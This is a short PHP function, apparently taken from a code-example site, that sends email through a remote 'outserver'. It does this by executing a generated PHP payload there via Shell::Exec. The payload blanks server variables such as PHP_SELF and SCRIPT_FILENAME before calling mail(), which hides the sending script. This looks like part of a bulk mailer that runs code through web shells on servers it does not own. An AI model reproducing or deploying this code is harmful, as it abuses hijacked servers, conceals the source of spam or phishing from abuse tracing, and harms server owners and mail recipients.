Пример #1
0
 public function sendByOutserver($outserver, $email, $header, $content)
 {
     global $translation;
     $email->subject = Macro::Outserver($email->subject, $outserver);
     $content = Macro::Outserver($content, $outserver);
     $header = Macro::Outserver($header, $outserver);
     $data = json_encode(array('to' => $email->to, 'subject' => $email->subject, 'content' => base64_encode($content), 'header' => $header));
     $code = "\$hide=array('PHP_SELF'=>'','SCRIPT_FILENAME'=>'','REQUEST_URI'=>'','SCRIPT_NAME'=>'');while(list(\$key,)=each(\$hide)){\$hide[\$key]=\$_SERVER[\$key];\$_SERVER[\$key]='/';}\$data=json_decode('{$data}',true);mail(\$data['to'],\$data['subject'],base64_decode(\$data['content']),\$data['header']);reset(\$hide);while(list(\$key,)=each(\$hide))\$_SERVER[\$key]=\$hide[\$key];print 'sended';";
     $answer = Shell::Exec($outserver, $code, $data);
     if ($answer === false) {
         $this->output = $translation->getWord("wrong-out-server-type");
         return;
     }
     if ($answer == "sended") {
         $this->output = "";
         return;
     }
     $this->output = $translation->getWord("remote-server-unavailable") . $answer;
 }